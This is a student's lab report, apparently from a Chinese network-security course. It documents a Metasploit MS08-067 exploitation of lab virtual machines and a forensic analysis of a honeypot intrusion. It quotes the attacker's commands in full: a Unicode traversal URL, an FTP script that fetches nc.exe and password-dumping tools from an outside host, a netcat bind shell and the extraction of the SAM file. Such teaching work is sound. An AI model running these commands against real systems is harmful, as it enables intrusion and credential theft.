20242827 2024-2025-2 《网络攻防实践》实践6报告
20242827 2024-2025-2 《网络攻防实践》实践6报告
实践内容
(1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
1.实践内容
1.1 Windows操作系统基本模型
1.内核模式:内核代码运行在处理器特权模式(ring 0)
2.用户模式:应用程序代码运行在处理器非特权模式(ring 3)
1.2 Windows远程安全攻防技术
目前Windows远程攻击技术有以下几类:远程口令猜解与破解攻击、攻击Windows网络服务、攻击Windows客户端和用户
1.2.1 windows远程口令猜解攻击与破解攻击
1.远程口令字猜测:
攻击渠道:SMB协议,其他包括WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint。
工具:Legion、enum、smbgrind、NTScan、XScan、流光、NTScan汉化版。
原理:SMB服务决定授予网络用户对所请求的共享文件或打印机的访问权之前,会先进行身份验证,此时用户输入正确口令,攻击者对系统实施远程口令字猜测攻击。由于系统中存在大量弱口令,使得远程口令猜测成为可能。
2.远程口令字交换通信窃听与破解:
攻击渠道:NTLM、LanMan、NTLMV2和kerberos网络认证协议的弱点。
工具:L0phtcrack、Cain and Abel
防范措施:尽量关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。
1.2.2 windows网络服务远程渗透攻击
类型: 针对NETBIOS服务、针对SMB服务、针对MSRPC服务、针对Windows系统上微软网络的远程渗透攻击、针对Windows系统上第三方服务的远程渗透攻击。
防范措施:从设计开发根源上减少安全漏洞的出现,及时进行漏洞补丁修护,尽可能快速更新与应用软件安全补丁;在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间中,管理员要尽快对安全敏感的服务器做测试和实施可用的攻击缓解配置;利用服务软件厂商及社区提供的安全核对清单来对服务进行安全配置,利用一些安全插件,利用漏洞扫描软件扫描漏洞及时进行修复。
1.2.3 Metasploit渗透测试
基础库文件:包括Rex,framework-core和framework-base三部分。
模块:辅助模块、渗透攻击模块(主动、被动)、攻击载荷模块(在渗透攻击成功后促使目标系统运行)、空指令模块、编码器模块、后渗透模块(获取敏感信息)。
1.3 Windows系统本地安全攻防技术
1.3.1 windows本地特权提升
常见手段:溢出提权、windows错误系统配置、计划任务提权。
防范措施:及时打补丁、及时跟进厂家的安全警告
1.3.2 windows敏感信息窃取
常见手段:windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段
防范措施:使用安全度高、能抵挡破解的口令
1.3.3 windows消灭踪迹
常见手段:关闭审计功能、清理事件日志。
防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
1.3.4 远程控制与后门
主要手段:向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
2.实践过程
2.1 动手实践Metasploit windows attacker
本次实验使用了kali(192.168.200.4)和win2kserver(192.168.200.124)
首先打开kali输入命令行'msfconsole'进入启动msfconsole

输入'search ms08_067'查看漏洞信息

输入命令进入漏洞所在文件

输入'show options'查看攻击此漏洞需要的设置

输入命令'show payloads'显示此漏洞的载荷

通过使用 'set payload generic/shell_reverse_tcp'命令设置攻击的载荷为tcp反向连接,然后,输入'set LHOST 192.168.200.4 '、'set RHOST 192.168.200.124'
设置进行渗透攻击的主机为Kali,受到攻击的主机为Win2kServer

输入'exploit',开始进行攻击

攻击成功后,就进入到了靶机的命令行界面,输入'ipconfig/all'查看靶机信息

在wireshark中抓包可见源地址192.168.200.4源端口号1042
目的地址192.168.200.124目的端口4444,浏览抓包记录可知攻击利用的漏洞有:针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞

查看wireshark抓包的TCP流可以看到靶机中输入的命令行被抓取

2.2 取证分析实践:解码一次成功的NT系统破解攻击
首先下载好学习通里的压缩包。
2.2.1 攻击者使用了什么破解工具进行攻击
将文件下载后用wireshark打开,将过滤条件设置为:'ip.addr==172.16.1.106 and http'
开始观察,发现第117行出现一个字符 %C0%AF,查看TCP流

可以看到'GET /guest/default.asp/…%C0%AF…/…%C0%AF…/…%C0%AF…/boot.ini HTTP/1.1',说明攻击机在 http://lab.wiretrip.net/guest/default.asp进行了 Unicode 编码攻击并打开了NT系统启动文件 boot.ini ,因为 %C0%AF 为 / 的Unicode编码。

随后观察到编号130,140,149中都有msadc,追踪149号数据包,攻击者通过 msadcs.dll 中存在的RDS漏洞进行了SQL注入攻击,并执行了命令cmd /c echo werd >> c:\fun ,根据特征字符串 ADM!ROX!YOUR!WORLD ,可以查询到是由msadc(2).pl渗透攻击工具发起的攻击。

2.2.2 攻击者如何使用这个破解工具进入并控制了系统
依次往下查看数据包,在第一个1778->80开始,追踪TCP流,发现指令为cmd /c echo user johna2k > ftpcom,

继续往下找,依次可以找到以下指令:
cmd /c echo hacker2000 > ftpcom
cmd /c echo get samdump.dll > ftpcom
cmd /c echo get pdump.exe > ftpcom
cmd /c echo get nc.exe > ftpcom
cmd /c echo quit >> ftpcom
cmd /c ftp -s:ftpcom -n www.nether.net
根据这些指令可知: 攻击者首先创建了一个ftpcom脚本,并使用ftp连接www.nether.net(给出了用户名密码),尝试下载samdump.dll、pdump.exe和nc.exe(攻击工具)
直接筛选ftp,可以看到最终在编号1106处攻击者成功连接了FTP服务器。

接下来就看编号1106之前攻击者所发出的指令,发现攻击者由RDS攻击改为使用Unicode漏洞攻击
copy C:\winnt\system32\cmd.exe cmd1.exe
cmd1.exe /c open 213.116.251.162 >ftpcom
cmd1.exe /c echo johna2k >>ftpcom
cmd1.exe /c echo haxedj00 >>ftpcom
cmd1.exe /c echo get nc.exe >>ftpcom
cmd1.exe /c echo get pdump.exe >>ftpcom
cmd1.exe /c echo get samdump.dll >>ftpcom
cmd1.exe /c echo quit >>ftpcom
再向后观察到编号1224,攻击者执行了命令'cmd1.exe /c nc -l -p 6969 -e cmd1.exe '表示攻击者连接了6969端口,并且获得了访问权限。至此,攻击者完成了进入系统并且获得访问权的过程。

2.2.3 攻击者获得系统访问权限后做了什么
首先用'tcp.port == 6969'进行过滤,然后追踪TCP流来观察攻击者攻击行为。
可以看到攻击者尝试信息收集,使用net session(列出会话),但是没有权限,然后执行'net users', 返回该主机的用户列表

接着发了一个echo消息到C盘根目录文件README.NOW.Hax0r

接着尝试通过'net group'查看组用户、'net localgroup'查看本地组用户、以及 'net group domain admins'查看管理员组,但都失败了。

接下来,攻击者开始寻找msadc目录,发现他试着执行'pdump'来破解出Administrator口令密文,但是还是失败,于是攻击者删除了samdump和pdump。

接着,攻击者试着用'rdisk'获得SAM口令文件(安全账号管理器),rdisk是磁盘修复程序,执行'rdisk /s-'备份关键系统信息,在/repair目录中就会创建一个名为sam._的SAM压缩拷贝。并且攻击者把这个文件拷贝到har.txt并打印。



2.2.4 我们如何防止这样的攻击
为这些漏洞打上补丁.
禁用用不着的 RDS 等服务。
防火墙封禁网络内部服务器发起的连接。
为web server 在单独的文件卷上设置虚拟根目录。
使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
使用 IIS Lockdown 和 URLScan 等工具加强 web server
2.2.5 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
我觉得攻击者发现了他的目标是一台蜜罐主机,在数据包中我们可以发现这样一个包,说这是他迄今为止见到过最好的蜜罐

2.3 团队对抗实践:windows系统远程渗透攻击和分析
为了实现在同一网段下,必须得将二者均采用桥接模式或者将Vmnet0设置为桥接模式(注意,由于均是笔记本连接wifi做实验,必须得将桥接的网卡设置为无线网卡,两人的无线网卡选择同样的网络(具体操作可见第三章的问题1),否则将连接不上外界主机网络,导致实验双方不能在同一网段)
攻防双方设置攻击机和靶机均在桥接模式下。

其他关于两个人的电脑连通遇到的问题,可以见下方第三章。
kali(鲍恒宇) 192.168.43.193
winXP(鲍恒宇) 192.168.43.203
kali(王婧磊) 192.168.43.130
WIN2(王婧磊) 192.168.43.249
首先,进行连通性测试

根据上述(1)中的实验过程,对该IP地址的靶机进行攻击
首先打开kali输入命令行'msfconsole'进入启动msfconsole

输入以下命令调用MS08-067漏洞以实现相关的攻击,从而利用MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权'use exploit/windows/smb/ms08_067_netapi'
输入以下命令显示可用的攻击负载'show payloads'

选择以下攻击负载以实现反向连接,如下。设置远程渗透攻击的相关信息,即设置攻击目标IP,设置本机IP,再使用show options查看设置的信息。
set payload generic/shell_reverse_tcp
set RHOST 192.168.43.203
set LHOST 192.168.43.130
show options

再输入以下命令进行攻击:
exploit
使用以下命令在对方主机中创建文件夹并进入文件夹
mkdir wang
cd wang
查看对方的主机,能够看见已经成功创建该文件夹:

再是防御实践,让对方攻击我的主机。发现自己的主机中多了对方创建的文件夹baohengyu

3.学习中遇到的问题及解决
- 问题1:在团队对抗实践中,我们同样连上了我的手机热点,选择网卡没有相同的网卡选项
- 问题1解决方案:咨询AI之后发现,虽然同伴的网卡选项是intel wireless-Ac 9560 160MHz。打开宿主机(我的宿主机是Windows系统)的设置里面的“网络和Internet”选择更改适配器

查看一下两个人连的网络,在电脑上显示的网卡名字叫什么,在虚拟机的编辑网络适配器的桥接模式选网卡的时候,选上对应的就可以了。


- 问题2:按理来说更改网卡之后,IP地址会发生变化,但是我的Kali和WIN2的IP地址都没有发生变化
- 问题2解决方案:思考是两个虚拟机都设置的是静态IP地址,需要把两个虚拟机设置为动态IP地址
在kali虚拟机中进入'sudo su'模式之后,输入'vim /etc/network/interfaces'后,并添加或修改以下内容
auto eth0
iface eth0 inet dhcp
修改保存好,需要输入'sudo systemctl restart NetworkManager'来重启网络服务以使更改生效。再次'ifconfig'发现IP地址改变成功
在WIN2虚拟机中先是'ipconfig /all'查看“DHCP Enabled”字段。该字段显示为“No”,表示是静态,我们需要给它开启。
我们可以通过命令修改自己的“DHCP Enabled”字段。
我们需要在cmd对话框中输入'netsh interface show interface'查看所有网络接口的详细信息,包括接口名称、状态、类型等。发现有一个“本地连接”的接口。
之后我们在cmd对话框中输入以下命令来启用DHCP(以“本地连接”为例,如果你的网络适配器名称不同,请替换为相应的名称),这两条命令分别将IP地址和DNS服务器的设置更改为通过DHCP自动获取。
netsh interface ip set address "本地连接" dhcp
netsh interface ip set dns "本地连接" dhcp
之后再重启后,'ipconfig'会发现IP地址发生变化了。
4.实践总结
这次试验我对Windows操作系统安全体系结构与机制有了更深刻的认识,通过实践我也了解到了Windows安全攻防技术,在NT分析时查阅了很多资料也学习到了很多漏洞攻击技术。
浙公网安备 33010602011771号